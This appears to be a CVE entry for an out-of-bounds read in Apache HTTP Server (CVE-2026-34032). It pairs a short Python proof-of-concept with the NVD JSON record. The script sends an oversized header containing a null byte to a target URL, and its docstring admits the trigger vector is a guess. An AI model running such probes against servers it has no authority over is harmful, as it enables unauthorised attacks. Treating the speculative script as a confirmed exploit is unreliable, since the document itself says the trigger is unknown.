CVE-2026-34032

import requests def check_cve_2026_34032(target_url): """ PoC for CVE-2026-34032 (Improper Null Termination / Out-of-bounds Read). This script sends a crafted request to potentially trigger the vulnerability. Note: The exact trigger vector requires analysis of the specific patch diff. """ headers = { "User-Agent": "CVE-2026-34032-Scanner", # Attempting to trigger improper null termination with a malformed header "X-Custom-Header": "A" * 5000 + "\x00" + "B" * 5000 } try: response = requests.get(target_url, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Headers: {response.headers}") # Check for signs of memory leaks or abnormal behavior in response body if response.content: print(f"Response Length: {len(response.content)}") except Exception as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target URL for testing target = "http://localhost:80" check_cve_2026_34032(target)

{"cve": {"id": "CVE-2026-34032", "sourceIdentifier": "[email protected]", "published": "2026-05-04T14:16:33.447", "lastModified": "2026-05-04T20:25:47.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Null Termination, Out-of-bounds Read vulnerability in Apache HTTP Server.\n\nThis issue affects Apache HTTP Server: through 2.4.66.\n\nUsers are recommended to upgrade to version 2.4.67, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-170"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.67", "matchCriteriaId": "8FF781BA-CF81-400B-A155-4DAE0BD856EE"}]}]}], "references": [{"url": "https://httpd.apache.org/security/vulnerabilities_24.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/04/16", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}